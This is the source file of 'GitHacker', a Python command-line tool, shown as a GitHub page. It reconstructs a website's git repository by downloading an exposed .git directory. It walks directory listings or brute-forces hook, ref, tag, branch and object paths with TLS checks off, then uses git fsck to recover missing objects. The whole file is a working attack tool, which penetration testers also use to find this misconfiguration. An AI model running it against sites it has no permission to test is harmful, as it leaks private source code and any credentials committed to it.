-
Notifications
You must be signed in to change notification settings - Fork 227
/
__init__.py
329 lines (290 loc) · 11.4 KB
/
__init__.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
import requests
import os
import threading
import queue
import coloredlogs
import logging
import re
import git
import subprocess
import argparse
import bs4
import tempfile
import shutil
__version__ = "1.0.10"
coloredlogs.install(fmt='%(asctime)s %(levelname)s %(message)s')
def md5(data):
import hashlib
return hashlib.md5(bytes(data, encoding="utf-8")).hexdigest()
class GitHacker():
def __init__(self, url, dst, threads=0x08, brute=True) -> None:
self.q = queue.Queue()
self.url = url
self.dst = tempfile.mkdtemp()
self.real_dst = dst
self.repo = None
self.thread_number = threads
self.max_semanic_version = 10
self.brute = brute
self.verify = False
def start(self):
# Ensure the target is a git folder via `.git/HEAD`
if requests.head("{}{}".format(self.url, ".git/HEAD"), verify=self.verify).status_code != 200:
logging.error(
"The target url is not a valid git repository, `.git/HEAD` not exists")
return
for _ in range(self.thread_number):
threading.Thread(target=self.worker, daemon=True).start()
if self.directory_listing_enabled():
self.sighted()
else:
self.blind()
def directory_listing_enabled(self):
response = requests.get("{}{}".format(self.url, ".git/"), verify=self.verify)
keywords = {
"apache": "<title>Index of",
"nginx": "<title>Index of",
}
if response.status_code == 200:
for server, keyword in keywords.items():
if keyword in response.text:
logging.info(
"Directory listing enable under: {}".format(server))
return True
return False
def sighted(self):
self.add_folder(self.url, ".git/")
self.q.join()
self.git_clone()
def add_folder(self, base_url, folder):
url = "{}{}".format(base_url, folder)
soup = bs4.BeautifulSoup(requests.get(
url, verify=self.verify).text, features="html.parser")
links = soup.find_all("a")
for link in links:
href = link['href']
if href == "../" or href == "/":
continue
if href.endswith("/"):
self.add_folder(url, href)
else:
file_url = "{}{}".format(url, href)
path = file_url.replace(self.url, "").split("/")
self.q.put(path)
def blind(self):
logging.info('Downloading basic files...')
tn = self.add_basic_file_tasks()
if tn > 0:
self.q.join()
logging.info('Downloading head files...')
tn = self.add_head_file_tasks()
if tn > 0:
self.q.join()
logging.info('Downloading blob files...')
self.repo = git.Repo(self.dst)
tn = self.add_blob_file_tasks()
if tn > 0:
self.q.join()
logging.info('Running git fsck files...')
while True:
content = "{}".format(subprocess.run(
['git', "fsck"],
stdout=subprocess.PIPE,
cwd=self.dst,
))
tn = self.add_hashes_parsed(content)
if tn > 0:
self.q.join()
else:
break
self.git_clone()
def git_clone(self):
logging.info("Cloning downloaded repo from {} to {}".format(self.dst, self.real_dst))
result = subprocess.run(
["git", "clone", self.dst, self.real_dst],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
if b"invalid path" in result.stderr:
logging.info("Remote repo is downloaded into {}".format(self.real_dst))
logging.error("Be careful to checkout the source code, cause the target repo may be a honey pot.")
logging.error("FYI: https://drivertom.blogspot.com/2021/08/git.html")
else:
logging.info("Check it out: {}".format(self.real_dst))
shutil.rmtree(self.dst)
def add_hashes_parsed(self, content):
hashes = re.findall(r"([a-f\d]{40})", content)
n = 0
for hash in hashes:
n += 1
self.q.put([".git", "objects", hash[0:2], hash[2:]])
return n
def add_head_file_tasks(self):
n = 0
with open(os.path.join(self.dst, os.path.sep.join([".git", "HEAD"])), "r") as f:
for line in f:
if line.startswith("ref: "):
ref_path = line.split("ref: ")[1].strip()
file_path = os.path.join(
self.dst, os.path.sep.join([".git", "logs", ref_path]))
if os.path.exists(file_path):
with open(file_path) as ff:
data = ff.read()
n += self.add_hashes_parsed(data)
return n
def add_basic_file_tasks(self):
files = [
[".git", "COMMIT_EDITMSG"],
[".git", "config"],
[".git", "description"],
[".git", "FETCH_HEAD"],
[".git", "HEAD"],
[".git", "hooks", "applypatch-msg.sample"],
[".git", "hooks", "commit-msg.sample"],
[".git", "hooks", "fsmonitor-watchman.sample"],
[".git", "hooks", "post-update.sample"],
[".git", "hooks", "pre-applypatch.sample"],
[".git", "hooks", "pre-commit.sample"],
[".git", "hooks", "pre-merge-commit.sample"],
[".git", "hooks", "pre-push.sample"],
[".git", "hooks", "pre-rebase.sample"],
[".git", "hooks", "pre-receive.sample"],
[".git", "hooks", "prepare-commit-msg.sample"],
[".git", "hooks", "update.sample"],
[".git", "hooks", "applypatch-msg"],
[".git", "hooks", "commit-msg"],
[".git", "hooks", "fsmonitor-watchman"],
[".git", "hooks", "post-update"],
[".git", "hooks", "pre-applypatch"],
[".git", "hooks", "pre-commit"],
[".git", "hooks", "pre-merge-commit"],
[".git", "hooks", "pre-push"],
[".git", "hooks", "pre-rebase"],
[".git", "hooks", "pre-receive"],
[".git", "hooks", "prepare-commit-msg"],
[".git", "hooks", "update"],
[".git", "index"],
[".git", "info", "exclude"],
[".git", "logs", "HEAD"],
[".git", "logs", "refs", "remotes", "origin", "HEAD"],
[".git", "logs", "refs", "stash"],
[".git", "ORIG_HEAD"],
[".git", "packed-refs"],
[".git", "refs", "remotes", "origin", "HEAD"],
# git stash
[".git", "refs", "stash"],
# pack
[".git", "objects", "info", "alternates"],
[".git", "objects", "info", "http-alternates"],
[".git", "objects", "info", "packs"],
]
# git tags
if self.brute:
for major in range(self.max_semanic_version):
for minor in range(self.max_semanic_version):
for patch in range(self.max_semanic_version):
files.append(
[".git", "refs", "tags", "v{}.{}.{}".format(major, minor, patch)])
files.append(
[".git", "refs", "tags", "{}.{}.{}".format(major, minor, patch)])
else:
files.append([".git", "refs", "tags", "v0.0.1"])
files.append([".git", "refs", "tags", "0.0.1"])
files.append([".git", "refs", "tags", "v1.0.0"])
files.append([".git", "refs", "tags", "1.0.0"])
branch_names = ["master", "main", "dev", "release", "test",
"testing", "feature", "ng", "fix", "hotfix", "quickfix"]
# git remote branches
expand_branch_name_folder = [
[".git", "logs", "refs", "heads", None],
[".git", "logs", "refs", "remotes", "origin", None],
[".git", "refs", "remotes", "origin", None],
[".git", "refs", "heads", None],
]
for folder in expand_branch_name_folder:
for branch_name in branch_names:
folder_copy = folder.copy()
folder_copy[-1] = branch_name
files.append(folder_copy)
n = 0
for item in files:
self.q.put(item)
n += 1
return n
def add_blob_file_tasks(self):
n = 0
for _, blob in self.repo.index.iter_blobs():
hash = blob.hexsha
self.q.put([".git", "objects", hash[0:2], hash[2:]])
n += 1
return n
def worker(self):
while True:
path = self.q.get()
if "00000000000000000000000000000000000000" in path:
self.q.task_done()
continue
else:
fs_path = os.path.join(self.dst, os.path.sep.join(path))
url_path = "/".join(path)
url = "{}{}".format(self.url, url_path)
if not os.path.exists(fs_path):
status_code, length, result = self.wget(url, fs_path)
if result:
logging.info('[{:d} bytes] {} {}'.format(
length, status_code, url_path))
else:
logging.error('[{:d} bytes] {} {}'.format(
length, status_code, url_path))
self.q.task_done()
def check_file_content(self, content):
if content.startswith(b"<") or len(content) == 0:
return False
return True
def wget(self, url, path):
response = requests.get(url, verify=self.verify)
folder = os.path.dirname(path)
try:
os.makedirs(folder)
except:
pass
status_code = response.status_code
content = response.content
result = False
if status_code == 200 and self.check_file_content(content):
with open(path, "wb") as f:
n = f.write(content)
if n == len(content):
result = True
return (status_code, len(content), result)
def remove_suffixes(s, suffixes):
r = s
for suffix in suffixes:
if s.endswith(suffix):
r = s[0:-len(suffix)]
return r
def append_if_not_exists(s, suffix):
if not s.endswith(suffix):
return s + suffix
return s
def main():
parser = argparse.ArgumentParser(description='GitHacker')
parser.add_argument('--url', required=True,
help='url of the target website which expose `.git` folder')
parser.add_argument('--folder', required=True,
help='the local folder to store the git repository')
parser.add_argument('--brute', required=False, action="store_true",
help='enable brute forcing branch/tag names')
parser.add_argument('--threads', required=False, default=0x04,
type=int, help='threads number to download from internet')
parser.add_argument('--version', action='version', version=__version__)
args = parser.parse_args()
GitHacker(
url=append_if_not_exists(remove_suffixes(
args.url, ['.git', '.git/']), '/'),
dst=args.folder,
threads=args.threads,
brute=args.brute,
).start()
if __name__ == "__main__":
main()